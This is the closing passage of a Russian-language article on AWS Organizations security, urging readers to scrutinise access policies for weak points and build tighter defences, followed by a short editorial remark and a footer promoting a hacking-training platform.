Облако, особенно такое комплексное, как AWS, это не набор серверов. Это гигантская распределённая система управления доступом и доверием. Глубину ей придают не столько технические фичи, сколько последовательность, тщательность и параноидальное внимание к деталям тех, кто её строит и эксплуатирует.

Дядя-офисник довольствуется поверхностным взглядом. Он заходит в консоль, нажимает кнопки, радуется зелёным галочкам. Он верит в «best practices» как в священные тексты, не вникая в их суть.

Мы - нет. Мы копаем. Мы разбираем каждую политику по полочкам. Мы ищем несоответствия между замыслом и реализацией. Мы понимаем, что каждая удобная функция - это потенциальный вектор атаки, а каждый запрет - вызов для того, кто захочет его обойти.

AWS Organizations - это не страшно. Страшно не понимать, как она работает. Страшно слепо доверять ей свою безопасность. Страшно не иметь карты своих же владений.

Теперь у тебя есть не просто статья. У тебя есть линза, через которую ты можешь смотреть на любую многопользовательскую AWS-среду и видеть не статичную инфраструктуру, а живую, дышащую систему доверия со своими давлениями, течениями и разломами. Ты знаешь, где могут быть разломы.

Используй это знание. Чтобы строить крепче. Чтобы искать мудрее. Чтобы, в конце концов, не быть одним из тех «архитекторов в накрахмаленных рубашках», которые даже не подозревают, что замок от их королевства уже давно висит на соседнем заборе.

Держи свой ум острым, а политики - уже. Удачи.
 
Редач, клянусь, я не знаю как убрать эти смайлы...
Народ, в этих местах если что двоеточие.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab